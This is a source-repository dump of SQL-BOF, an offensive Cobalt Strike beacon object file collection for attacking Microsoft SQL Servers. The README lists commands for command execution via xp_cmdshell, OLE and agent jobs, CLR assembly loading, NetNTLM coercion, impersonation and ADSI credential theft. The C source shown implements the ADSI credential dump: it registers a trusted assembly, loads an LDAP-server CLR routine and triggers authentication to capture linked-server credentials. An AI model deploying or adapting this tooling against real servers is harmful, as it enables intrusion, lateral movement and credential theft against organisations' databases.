├── .gitignore ├── LICENSE ├── README.md ├── SQL ├── SQL.cna ├── adsi │ ├── adsi.x64.o │ └── adsi.x86.o ├── agentcmd │ ├── agentcmd.x64.o │ └── agentcmd.x86.o ├── agentstatus │ ├── agentstatus.x64.o │ └── agentstatus.x86.o ├── checkrpc │ ├── checkrpc.x64.o │ └── checkrpc.x86.o ├── clr │ ├── clr.x64.o │ └── clr.x86.o ├── columns │ ├── columns.x64.o │ └── columns.x86.o ├── databases │ ├── databases.x64.o │ └── databases.x86.o ├── impersonate │ ├── impersonate.x64.o │ └── impersonate.x86.o ├── info │ ├── info.x64.o │ └── info.x86.o ├── links │ ├── links.x64.o │ └── links.x86.o ├── olecmd │ ├── olecmd.x64.o │ └── olecmd.x86.o ├── query │ ├── query.x64.o │ └── query.x86.o ├── rows │ ├── rows.x64.o │ └── rows.x86.o ├── search │ ├── search.x64.o │ └── search.x86.o ├── smb │ ├── smb.x64.o │ └── smb.x86.o ├── tables │ ├── tables.x64.o │ └── tables.x86.o ├── togglemodule │ ├── togglemodule.x64.o │ └── togglemodule.x86.o ├── users │ ├── users.x64.o │ └── users.x86.o ├── whoami │ ├── whoami.x64.o │ └── whoami.x86.o └── xpcmd │ ├── xpcmd.x64.o │ └── xpcmd.x86.o ├── make_all.sh └── src ├── SQL ├── adsi │ ├── Makefile │ ├── entry.c │ └── ldapserver.h ├── agentcmd │ ├── Makefile │ └── entry.c ├── agentstatus │ ├── Makefile │ └── entry.c ├── checkrpc │ ├── Makefile │ └── entry.c ├── clr │ ├── Makefile │ └── entry.c ├── columns │ ├── Makefile │ └── entry.c ├── databases │ ├── Makefile │ └── entry.c ├── impersonate │ ├── Makefile │ └── entry.c ├── info │ ├── Makefile │ └── entry.c ├── links │ ├── Makefile │ └── entry.c ├── olecmd │ ├── Makefile │ └── entry.c ├── query │ ├── Makefile │ └── entry.c ├── rows │ ├── Makefile │ └── entry.c ├── search │ ├── Makefile │ └── entry.c ├── smb │ ├── Makefile │ └── entry.c ├── tables │ ├── Makefile │ └── entry.c ├── togglemodule │ ├── Makefile │ └── entry.c ├── users │ ├── Makefile │ └── entry.c ├── whoami │ ├── Makefile │ └── entry.c └── xpcmd │ ├── Makefile │ └── entry.c ├── base_template ├── Makefile └── entry.c └── common ├── base.c ├── beacon.h ├── bofdefs.h ├── sql.c ├── sql_agent.c ├── sql_clr.c └── sql_modules.c /.gitignore: -------------------------------------------------------------------------------- 1 | *.exe -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SQL-BOF 2 | A library of beacon object files to interact with remote SQL servers and data. This collection is templated off the TrustedSec [CS-Situational-Awareness-BOF](https://github.com/trustedsec/CS-Situational-Awareness-BOF) collection and models the functionality of the [SQLRecon](https://github.com/skahwah/SQLRecon) project. 3 | 4 | ## Usage 5 | Load the aggressor script located at `SQL/SQL.cna`. 6 | 7 | ⚠️ Use x64 BOFs only, issue with x86 BOFs tracked [here](https://github.com/Tw1sm/SQL-BOF/issues/1) ⚠️ 8 | 9 | ## Available commands 10 | |Commands|Usage|Notes| 11 | |--------|-----|-----| 12 | |sql-adsi|[server] [ADSI_linkedserver] [opt: port] [opt: database] [opt: linkedserver] [opt: impersonate] |Obtain ADSI creds from ADSI linked server | 13 | |sql-agentcmd |[server] [command] [opt: database] [opt: linkedserver] [opt: impersonate] |Execute a system command using agent jobs | 14 | |sql-agentstatus |[server] [opt: database] [opt: linkedserver] [opt: impersonate] |Enumerate SQL agent status and jobs | 15 | |sql-checkrpc |[server] [opt: database] [opt: linkedserver] [opt: impersonate] |Enumerate RPC status of linked servers | 16 | |sql-clr |[server] [dll_path] [function] [opt: database] [opt: linkedserver] [opt: impersonate] |Load and execute .NET assembly in a stored procedure | 17 | |sql-columns |[server] [table] [opt: database] [opt: linkedserver] [opt: impersonate] |Enumerate columns within a table | 18 | |sql-databases |[server] [opt: database] [opt: linkedserver] [opt: impersonate] |Enumerate databases on a server| 19 | |sql-disableclr |[server] [opt: database] [opt: linkedserver] [opt: impersonate] |Disable CLR integration | 20 | |sql-disableole |[server] [opt: database] [opt: linkedserver] [opt: impersonate] |Disable OLE Automation Procedures | 21 | |sql-disablerpc |[server] [linkedserver] [opt: database] [opt: impersonate] |Disable RPC and RPC out on a linked server | 22 | |sql-disablexp |[server] [opt: database] [opt: linkedserver] [opt: impersonate] |Disable xp_cmdshell | 23 | |sql-enableclr |[server] [opt: database] [opt: linkedserver] [opt: impersonate] |Enable CLR integration | 24 | |sql-enableole |[server] [opt: database] [opt: linkedserver] [opt: impersonate] |Enable OLE Automation Procedures | 25 | |sql-enablerpc |[server] [linkedserver] [opt: database] [opt: impersonate] |Enable RPC and RPC out on a linked server | 26 | |sql-enablexp |[server] [opt: database] [opt: linkedserver] [opt: impersonate] |Enable xp_cmdshell | 27 | |sql-impersonate |[server] [opt: database] |Enumerate users that can be impersonated | 28 | |sql-info |[server] [opt: database] |Gather information about the SQL server | 29 | |sql-links |[server] [opt: database] [opt: linkedserver] [opt: impersonate] |Enumerate linked servers | 30 | |sql-olecmd |[server] [command] [opt: database] [opt: linkedserver] [opt: impersonate] |Execute a system command using OLE automation procedures | 31 | |sql-query |[server] [query] [opt: database] [opt: linkedserver] [opt: impersonate] |Execute a custom SQL query | 32 | |sql-rows |[server] [table] [opt: database] [opt: linkedserver] [opt: impersonate] |Get the count of rows in a table | 33 | |sql-search |[server] [search] [opt: database] [opt: linkedserver] [opt: impersonate] |Search a table for a column name | 34 | |sql-smb |[server] [\\\\listener] [opt: database] [opt: linkedserver] [opt: impersonate] |Coerce NetNTLM auth via xp_dirtree | 35 | |sql-tables |[server] [opt: database] [opt: linkedserver] [opt: impersonate] |Enumerate tables within a database | 36 | |sql-users |[server] [opt: database] [opt: linkedserver] [opt: impersonate] |Enumerate users with database access | 37 | |sql-whoami |[server] [opt: database] [opt: linkedserver] [opt: impersonate] |Gather logged in user, mapped user and roles | 38 | |sql-xpcmd |[server] [command] [opt: database] [opt: linkedserver] [opt: impersonate] |Execute a system command via xp_cmdshell | 39 | 40 | ## References 41 | - [SQLRecon](https://github.com/skahwah/SQLRecon) by [@sanjivkawa](https://twitter.com/sanjivkawa) 42 | - [PySQLRecon](https://github.com/Tw1sm/PySQLRecon) 43 | - [CS-Situational-Awareness-BOF](https://github.com/trustedsec/CS-Situational-Awareness-BOF) 44 | -------------------------------------------------------------------------------- /SQL/adsi/adsi.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/SQL-BOF/26c395f59043f6f1bb91ac95a1dff8731acddd5a/SQL/adsi/adsi.x64.o -------------------------------------------------------------------------------- /SQL/adsi/adsi.x86.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/SQL-BOF/26c395f59043f6f1bb91ac95a1dff8731acddd5a/SQL/adsi/adsi.x86.o -------------------------------------------------------------------------------- /SQL/agentcmd/agentcmd.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/SQL-BOF/26c395f59043f6f1bb91ac95a1dff8731acddd5a/SQL/agentcmd/agentcmd.x64.o -------------------------------------------------------------------------------- /SQL/agentcmd/agentcmd.x86.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/SQL-BOF/26c395f59043f6f1bb91ac95a1dff8731acddd5a/SQL/agentcmd/agentcmd.x86.o -------------------------------------------------------------------------------- /SQL/agentstatus/agentstatus.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/SQL-BOF/26c395f59043f6f1bb91ac95a1dff8731acddd5a/SQL/agentstatus/agentstatus.x64.o -------------------------------------------------------------------------------- /SQL/agentstatus/agentstatus.x86.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/SQL-BOF/26c395f59043f6f1bb91ac95a1dff8731acddd5a/SQL/agentstatus/agentstatus.x86.o -------------------------------------------------------------------------------- /SQL/checkrpc/checkrpc.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/SQL-BOF/26c395f59043f6f1bb91ac95a1dff8731acddd5a/SQL/checkrpc/checkrpc.x64.o -------------------------------------------------------------------------------- /SQL/checkrpc/checkrpc.x86.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/SQL-BOF/26c395f59043f6f1bb91ac95a1dff8731acddd5a/SQL/checkrpc/checkrpc.x86.o -------------------------------------------------------------------------------- /SQL/clr/clr.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/SQL-BOF/26c395f59043f6f1bb91ac95a1dff8731acddd5a/SQL/clr/clr.x64.o -------------------------------------------------------------------------------- /SQL/clr/clr.x86.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/SQL-BOF/26c395f59043f6f1bb91ac95a1dff8731acddd5a/SQL/clr/clr.x86.o -------------------------------------------------------------------------------- /SQL/columns/columns.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/SQL-BOF/26c395f59043f6f1bb91ac95a1dff8731acddd5a/SQL/columns/columns.x64.o -------------------------------------------------------------------------------- /SQL/columns/columns.x86.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/SQL-BOF/26c395f59043f6f1bb91ac95a1dff8731acddd5a/SQL/columns/columns.x86.o -------------------------------------------------------------------------------- /SQL/databases/databases.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/SQL-BOF/26c395f59043f6f1bb91ac95a1dff8731acddd5a/SQL/databases/databases.x64.o -------------------------------------------------------------------------------- /SQL/databases/databases.x86.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/SQL-BOF/26c395f59043f6f1bb91ac95a1dff8731acddd5a/SQL/databases/databases.x86.o -------------------------------------------------------------------------------- /SQL/impersonate/impersonate.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/SQL-BOF/26c395f59043f6f1bb91ac95a1dff8731acddd5a/SQL/impersonate/impersonate.x64.o -------------------------------------------------------------------------------- /SQL/impersonate/impersonate.x86.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/SQL-BOF/26c395f59043f6f1bb91ac95a1dff8731acddd5a/SQL/impersonate/impersonate.x86.o -------------------------------------------------------------------------------- /SQL/info/info.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/SQL-BOF/26c395f59043f6f1bb91ac95a1dff8731acddd5a/SQL/info/info.x64.o -------------------------------------------------------------------------------- /SQL/info/info.x86.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/SQL-BOF/26c395f59043f6f1bb91ac95a1dff8731acddd5a/SQL/info/info.x86.o -------------------------------------------------------------------------------- /SQL/links/links.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/SQL-BOF/26c395f59043f6f1bb91ac95a1dff8731acddd5a/SQL/links/links.x64.o -------------------------------------------------------------------------------- /SQL/links/links.x86.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/SQL-BOF/26c395f59043f6f1bb91ac95a1dff8731acddd5a/SQL/links/links.x86.o -------------------------------------------------------------------------------- /SQL/olecmd/olecmd.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/SQL-BOF/26c395f59043f6f1bb91ac95a1dff8731acddd5a/SQL/olecmd/olecmd.x64.o -------------------------------------------------------------------------------- /SQL/olecmd/olecmd.x86.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/SQL-BOF/26c395f59043f6f1bb91ac95a1dff8731acddd5a/SQL/olecmd/olecmd.x86.o -------------------------------------------------------------------------------- /SQL/query/query.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/SQL-BOF/26c395f59043f6f1bb91ac95a1dff8731acddd5a/SQL/query/query.x64.o -------------------------------------------------------------------------------- /SQL/query/query.x86.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/SQL-BOF/26c395f59043f6f1bb91ac95a1dff8731acddd5a/SQL/query/query.x86.o -------------------------------------------------------------------------------- /SQL/rows/rows.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/SQL-BOF/26c395f59043f6f1bb91ac95a1dff8731acddd5a/SQL/rows/rows.x64.o -------------------------------------------------------------------------------- /SQL/rows/rows.x86.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/SQL-BOF/26c395f59043f6f1bb91ac95a1dff8731acddd5a/SQL/rows/rows.x86.o -------------------------------------------------------------------------------- /SQL/search/search.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/SQL-BOF/26c395f59043f6f1bb91ac95a1dff8731acddd5a/SQL/search/search.x64.o -------------------------------------------------------------------------------- /SQL/search/search.x86.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/SQL-BOF/26c395f59043f6f1bb91ac95a1dff8731acddd5a/SQL/search/search.x86.o -------------------------------------------------------------------------------- /SQL/smb/smb.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/SQL-BOF/26c395f59043f6f1bb91ac95a1dff8731acddd5a/SQL/smb/smb.x64.o -------------------------------------------------------------------------------- /SQL/smb/smb.x86.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/SQL-BOF/26c395f59043f6f1bb91ac95a1dff8731acddd5a/SQL/smb/smb.x86.o -------------------------------------------------------------------------------- /SQL/tables/tables.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/SQL-BOF/26c395f59043f6f1bb91ac95a1dff8731acddd5a/SQL/tables/tables.x64.o -------------------------------------------------------------------------------- /SQL/tables/tables.x86.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/SQL-BOF/26c395f59043f6f1bb91ac95a1dff8731acddd5a/SQL/tables/tables.x86.o -------------------------------------------------------------------------------- /SQL/togglemodule/togglemodule.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/SQL-BOF/26c395f59043f6f1bb91ac95a1dff8731acddd5a/SQL/togglemodule/togglemodule.x64.o -------------------------------------------------------------------------------- /SQL/togglemodule/togglemodule.x86.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/SQL-BOF/26c395f59043f6f1bb91ac95a1dff8731acddd5a/SQL/togglemodule/togglemodule.x86.o -------------------------------------------------------------------------------- /SQL/users/users.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/SQL-BOF/26c395f59043f6f1bb91ac95a1dff8731acddd5a/SQL/users/users.x64.o -------------------------------------------------------------------------------- /SQL/users/users.x86.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/SQL-BOF/26c395f59043f6f1bb91ac95a1dff8731acddd5a/SQL/users/users.x86.o -------------------------------------------------------------------------------- /SQL/whoami/whoami.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/SQL-BOF/26c395f59043f6f1bb91ac95a1dff8731acddd5a/SQL/whoami/whoami.x64.o -------------------------------------------------------------------------------- /SQL/whoami/whoami.x86.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/SQL-BOF/26c395f59043f6f1bb91ac95a1dff8731acddd5a/SQL/whoami/whoami.x86.o -------------------------------------------------------------------------------- /SQL/xpcmd/xpcmd.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/SQL-BOF/26c395f59043f6f1bb91ac95a1dff8731acddd5a/SQL/xpcmd/xpcmd.x64.o -------------------------------------------------------------------------------- /SQL/xpcmd/xpcmd.x86.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/SQL-BOF/26c395f59043f6f1bb91ac95a1dff8731acddd5a/SQL/xpcmd/xpcmd.x86.o -------------------------------------------------------------------------------- /make_all.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | cd src/SQL 4 | ls | while read dir; do 5 | if [[ -d $dir ]]; then 6 | cd $dir 7 | if [[ -f "Makefile" ]]; then 8 | make >/dev/null 9 | echo "- $dir" 10 | fi 11 | cd .. 12 | fi 13 | done 14 | cd ../.. 15 | 16 | -------------------------------------------------------------------------------- /src/SQL/adsi/Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := adsi 2 | COMINCLUDE := -I ../../common 3 | LIBINCLUDE := -lodbc32 4 | CC_x64 := x86_64-w64-mingw32-gcc 5 | CC_x86 := i686-w64-mingw32-gcc 6 | CC=x86_64-w64-mingw32-clang 7 | 8 | all: 9 | $(CC_x64) -o $(BOFNAME).x64.o $(COMINCLUDE) -Os -c entry.c -DBOF 10 | $(CC_x86) -o $(BOFNAME).x86.o $(COMINCLUDE) -Os -c entry.c -DBOF 11 | mkdir -p ../../../SQL/$(BOFNAME) 12 | mv $(BOFNAME)*.o ../../../SQL/$(BOFNAME) 13 | 14 | goad: 15 | $(MAKE) all 16 | scp ../../../SQL/$(BOFNAME)/* jon.snow@10.2.10.11:BOFs/ 17 | 18 | test: 19 | $(CC_x64) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x64.exe 20 | $(CC_x86) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x86.exe 21 | 22 | test_goad: 23 | $(MAKE) test 24 | scp $(BOFNAME)*.exe jon.snow@10.2.10.11:BOFs/ 25 | 26 | scanbuild: 27 | $(CC) entry.c -o $(BOFNAME).scanbuild.exe $(COMINCLUDE) $(LIBINCLUDE) 28 | 29 | check: 30 | cppcheck --enable=all $(COMINCLUDE) --platform=win64 entry.c 31 | 32 | clean: 33 | rm $(BOFNAME).*.exe -------------------------------------------------------------------------------- /src/SQL/adsi/entry.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "bofdefs.h" 4 | #include "ldapserver.h" 5 | #include "base.c" 6 | #include "sql.c" 7 | #include "sql_modules.c" 8 | #include "sql_clr.c" 9 | 10 | typedef struct ThreadData { 11 | SQLHSTMT stmt; 12 | char* function; 13 | char* port; 14 | char* link; 15 | char* impersonate; 16 | } ThreadData; 17 | 18 | 19 | void* RunThreadedQuery(LPVOID threadData) { 20 | ThreadData* data = (ThreadData*)threadData; 21 | 22 | char* prefix = "SELECT dbo."; 23 | char* middle = "("; 24 | char* suffix = ");"; 25 | 26 | size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(data->function) + MSVCRT$strlen(middle) + MSVCRT$strlen(data->port) + MSVCRT$strlen(suffix) + 1; 27 | char* query = (char*)intAlloc(totalSize); 28 | 29 | MSVCRT$strcpy(query, prefix); 30 | MSVCRT$strncat(query, data->function, totalSize - MSVCRT$strlen(query) - 1); 31 | MSVCRT$strncat(query, middle, totalSize - MSVCRT$strlen(query) - 1); 32 | MSVCRT$strncat(query, data->port, totalSize - MSVCRT$strlen(query) - 1); 33 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 34 | 35 | HandleQuery(data->stmt, (SQLCHAR*)query, data->link, data->impersonate, FALSE); 36 | 37 | intFree(query); 38 | } 39 | 40 | void DumpAdsiCreds(char* server, char* database, char* link, char* impersonate, char* adsiServer, char* port) 41 | { 42 | SQLHENV env = NULL; 43 | SQLHSTMT stmt = NULL; 44 | SQLHDBC dbc = NULL; 45 | SQLRETURN ret; 46 | 47 | // 48 | // non-standard, for the duplicate connection 49 | // 50 | SQLHENV env2 = NULL; 51 | SQLHSTMT stmt2 = NULL; 52 | SQLHDBC dbc2 = NULL; 53 | char* trigger = NULL; 54 | 55 | InitRandomSeed(); 56 | char* dllPath = GenerateRandomString(8); 57 | char* function = GenerateRandomString(8); 58 | char* assemblyName = "ldapServer"; 59 | 60 | if (link == NULL) 61 | { 62 | dbc = ConnectToSqlServer(&env, server, database); 63 | } 64 | else 65 | { 66 | dbc = ConnectToSqlServer(&env, server, NULL); 67 | } 68 | 69 | if (dbc == NULL) { 70 | goto END; 71 | } 72 | 73 | if (link == NULL) 74 | { 75 | internal_printf("[*] Obtaining ADSI credentials for \"%s\" on %s\n\n", adsiServer, server); 76 | } 77 | else 78 | { 79 | internal_printf("[*] Obtaining ADSI credentials for \"%s\" on %s via %s\n\n", adsiServer, link, server); 80 | } 81 | // 82 | // allocate statement handle 83 | // 84 | ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt); 85 | if (!SQL_SUCCEEDED(ret)) { 86 | internal_printf("[!] Failed to allocate statement handle\n"); 87 | goto END; 88 | } 89 | 90 | // 91 | // verify that xp_cmdshell is enabled 92 | // 93 | if (IsModuleEnabled(stmt, "clr enabled", link, impersonate)) 94 | { 95 | internal_printf("[*] CLR is enabled\n"); 96 | } 97 | else 98 | { 99 | internal_printf("[!] CLR is not enabled\n"); 100 | goto END; 101 | } 102 | 103 | // 104 | // close the cursor 105 | // 106 | ret = ODBC32$SQLCloseCursor(stmt); 107 | if (!SQL_SUCCEEDED(ret)) { 108 | internal_printf("[!] Failed to close cursor\n"); 109 | goto END; 110 | } 111 | 112 | // 113 | // if using linked server, ensure rpc is enabled 114 | // 115 | if (link != NULL) 116 | { 117 | if (IsRpcEnabled(stmt, link)) 118 | { 119 | internal_printf("[*] RPC out is enabled\n"); 120 | } 121 | else 122 | { 123 | internal_printf("[!] RPC out is not enabled\n"); 124 | goto END; 125 | } 126 | 127 | // 128 | // close the cursor 129 | // 130 | ret = ODBC32$SQLCloseCursor(stmt); 131 | if (!SQL_SUCCEEDED(ret)) { 132 | internal_printf("[!] Failed to close cursor\n"); 133 | goto END; 134 | } 135 | } 136 | 137 | // 138 | // Check if the assembly hash already exists in sys.trusted_assemblies 139 | // and drop it if it does 140 | // 141 | if (AssemblyHashExists(stmt, LDAP_DLL_HASH, link, impersonate)) 142 | { 143 | internal_printf("[!] Assembly hash already exists in sys.trusted_assesmblies\n"); 144 | internal_printf("[*] Dropping existing assembly hash before continuing\n"); 145 | 146 | // 147 | // Close the cursor 148 | // 149 | ret = ODBC32$SQLCloseCursor(stmt); 150 | if (!SQL_SUCCEEDED(ret)) { 151 | internal_printf("[!] Failed to close cursor\n"); 152 | goto END; 153 | } 154 | 155 | if (!DeleteTrustedAssembly(stmt, LDAP_DLL_HASH, link, impersonate)) 156 | { 157 | internal_printf("[!] Failed to drop existing assembly hash\n"); 158 | goto END; 159 | } 160 | } 161 | else 162 | { 163 | // 164 | // Close the cursor 165 | // 166 | ret = ODBC32$SQLCloseCursor(stmt); 167 | if (!SQL_SUCCEEDED(ret)) { 168 | internal_printf("[!] Failed to close cursor\n"); 169 | goto END; 170 | } 171 | } 172 | 173 | // 174 | // Add the DLL to sys.trusted_assemblies 175 | // 176 | if (!AddTrustedAssembly(stmt, dllPath, LDAP_DLL_HASH, link, impersonate)) 177 | { 178 | internal_printf("[!] Failed to add trusted assembly\n"); 179 | goto END; 180 | } 181 | 182 | internal_printf("[*] Added SHA-512 hash for DLL to sys.trusted_assemblies with the name \"%s\"\n", dllPath); 183 | 184 | // 185 | // Ensure procedure and assembly names do not already exist 186 | // 187 | if (!DeleteTrustedAssemblyResources(stmt, assemblyName, function, TRUE, link, impersonate)) 188 | { 189 | internal_printf("[!] Failed to drop existing assembly and procedure\n"); 190 | goto END; 191 | } 192 | 193 | // 194 | // Create the custom assembly 195 | // 196 | internal_printf("[*] Creating new LDAP server assembly with the name \"%s\"\n", assemblyName); 197 | CreateAssembly(stmt, assemblyName, LDAP_DLL_BYTES, link, impersonate); 198 | 199 | // 200 | // Verify that the assembly exists before we continue 201 | // 202 | if (!AssemblyExists(stmt, assemblyName, link, impersonate)) 203 | { 204 | internal_printf("[!] Failed to create custom assembly\n"); 205 | internal_printf("[*] Cleaning up...\n"); 206 | DeleteTrustedAssembly(stmt, LDAP_DLL_HASH, link, impersonate); 207 | DeleteTrustedAssemblyResources(stmt, assemblyName, function, TRUE, link, impersonate); 208 | goto END; 209 | } 210 | 211 | // 212 | // Create the stored procedure 213 | // 214 | internal_printf("[*] Loading LDAP server assembly into a new CLR runtime routine \"%s\"\n", function); 215 | CreateAssemblyStoredProc(stmt, assemblyName, function, TRUE, link, impersonate); 216 | 217 | // 218 | // Clear the cursor 219 | // 220 | ClearCursor(stmt); 221 | 222 | // 223 | // Verify that the stored procedure exists before we continue 224 | // 225 | if (!AssemblyFunctionExists(stmt, "ldapAssembly.LdapSrv", link, impersonate)) 226 | { 227 | internal_printf("[!] Unable to load LDAP server assembly into custom CLR runtime routine\n"); 228 | internal_printf("[*] Cleaning up...\n"); 229 | DeleteTrustedAssembly(stmt, LDAP_DLL_HASH, link, impersonate); 230 | DeleteTrustedAssemblyResources(stmt, assemblyName, function, TRUE, link, impersonate); 231 | goto END; 232 | } 233 | 234 | internal_printf("[*] Created \"[%s].[ldapAssembly.LdapSrv].[%s]\"\n", assemblyName, function); 235 | 236 | // 237 | // Clear the cursor 238 | // 239 | ClearCursor(stmt); 240 | 241 | // 242 | // Now things get interesting, need to create a second connection 243 | // and execute a blocking query in a new thread 244 | // while we trigger auth in the main thread 245 | // 246 | internal_printf("[*] Creating a second connection to the SQL server for threaded query\n"); 247 | if (link == NULL) 248 | { 249 | dbc2 = ConnectToSqlServer(&env2, server, database); 250 | } 251 | else 252 | { 253 | dbc2 = ConnectToSqlServer(&env2, server, NULL); 254 | } 255 | 256 | if (dbc2 == NULL) { 257 | internal_printf("[!] Failed to create second connection\n"); 258 | internal_printf("[*] Cleaning up...\n"); 259 | DeleteTrustedAssembly(stmt, LDAP_DLL_HASH, link, impersonate); 260 | DeleteTrustedAssemblyResources(stmt, assemblyName, function, TRUE, link, impersonate); 261 | goto END; 262 | } 263 | 264 | // 265 | // Allocate a second statement handle 266 | // 267 | ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc2, &stmt2); 268 | if (!SQL_SUCCEEDED(ret)) { 269 | internal_printf("[!] Failed to allocate second statement handle\n"); 270 | goto END; 271 | } 272 | 273 | // 274 | // Start the blocking LDAP server query in a new thread 275 | // 276 | internal_printf("[*] Starting a local LDAP server on port %s\n", port); 277 | ThreadData data = { 278 | stmt2, 279 | function, 280 | port, 281 | link, 282 | impersonate 283 | }; 284 | 285 | HANDLE hThread = KERNEL32$CreateThread(NULL, 0, (void*)RunThreadedQuery, &data, 0, NULL); 286 | if (hThread == NULL) 287 | { 288 | internal_printf("[!] Failed to create new thread\n"); 289 | internal_printf("[*] Cleaning up...\n"); 290 | DeleteTrustedAssembly(stmt, LDAP_DLL_HASH, link, impersonate); 291 | DeleteTrustedAssemblyResources(stmt, assemblyName, function, TRUE, link, impersonate); 292 | goto END; 293 | } 294 | 295 | // 296 | // Trigger auth 297 | // 298 | internal_printf("[*] Executing LDAP solication (this will fire some errors)...\n\n"); 299 | 300 | if (link == NULL) 301 | { 302 | char* part1 = "SELECT * FROM OPENQUERY(\""; 303 | char* part2 = "\", 'SELECT * FROM ''LDAP://localhost:"; 304 | char* part3 = "''')"; 305 | 306 | size_t totalSize = MSVCRT$strlen(part1) + MSVCRT$strlen(adsiServer) + MSVCRT$strlen(part2) + MSVCRT$strlen(port) + MSVCRT$strlen(part3) + 1; 307 | trigger = (char*)intAlloc(totalSize); 308 | 309 | MSVCRT$strcpy(trigger, part1); 310 | MSVCRT$strncat(trigger, adsiServer, totalSize - MSVCRT$strlen(trigger) - 1); 311 | MSVCRT$strncat(trigger, part2, totalSize - MSVCRT$strlen(trigger) - 1); 312 | MSVCRT$strncat(trigger, port, totalSize - MSVCRT$strlen(trigger) - 1); 313 | MSVCRT$strncat(trigger, part3, totalSize - MSVCRT$strlen(trigger) - 1); 314 | } 315 | else 316 | { 317 | // 318 | // disgusting. 319 | // 320 | char* part1 = "SELECT * FROM OPENQUERY(\""; 321 | char* part2 = "\", 'SELECT * FROM OPENQUERY(\""; 322 | char* part3 = "\", ''SELECT * FROM ''''LDAP://localhost:"; 323 | char* part4 = "'''''')')"; 324 | 325 | size_t totalSize = MSVCRT$strlen(part1) + MSVCRT$strlen(link) + MSVCRT$strlen(part2) + MSVCRT$strlen(adsiServer) + MSVCRT$strlen(part3) + MSVCRT$strlen(port) + MSVCRT$strlen(part4) + 1; 326 | trigger = (char*)intAlloc(totalSize); 327 | 328 | MSVCRT$strcpy(trigger, part1); 329 | MSVCRT$strncat(trigger, link, totalSize - MSVCRT$strlen(trigger) - 1); 330 | MSVCRT$strncat(trigger, part2, totalSize - MSVCRT$strlen(trigger) - 1); 331 | MSVCRT$strncat(trigger, adsiServer, totalSize - MSVCRT$strlen(trigger) - 1); 332 | MSVCRT$strncat(trigger, part3, totalSize - MSVCRT$strlen(trigger) - 1); 333 | MSVCRT$strncat(trigger, port, totalSize - MSVCRT$strlen(trigger) - 1); 334 | MSVCRT$strncat(trigger, part4, totalSize - MSVCRT$strlen(trigger) - 1); 335 | } 336 | 337 | HandleQuery(stmt, (SQLCHAR*)trigger, NULL, impersonate, FALSE); 338 | HandleQuery(stmt, (SQLCHAR*)trigger, NULL, impersonate, FALSE); 339 | 340 | // 341 | // Wait for the thread to finish 342 | // 343 | KERNEL32$WaitForSingleObject(hThread, INFINITE); 344 | KERNEL32$CloseHandle(hThread); 345 | 346 | internal_printf("\n[*] LDAP server thread finished\n\n"); 347 | PrintQueryResults(stmt2, TRUE); 348 | 349 | // 350 | // Cleanup before we exit 351 | // 352 | internal_printf("\n[*] Cleaning up...\n"); 353 | DeleteTrustedAssembly(stmt, LDAP_DLL_HASH, link, impersonate); 354 | DeleteTrustedAssemblyResources(stmt, assemblyName, function, TRUE, link, impersonate); 355 | 356 | 357 | END: 358 | intFree(dllPath); 359 | intFree(function); 360 | if (trigger != NULL) intFree(trigger); 361 | ODBC32$SQLCloseCursor(stmt); 362 | DisconnectSqlServer(env, dbc, stmt); 363 | if (stmt2 != NULL) ODBC32$SQLCloseCursor(stmt2); 364 | if (dbc2 != NULL) 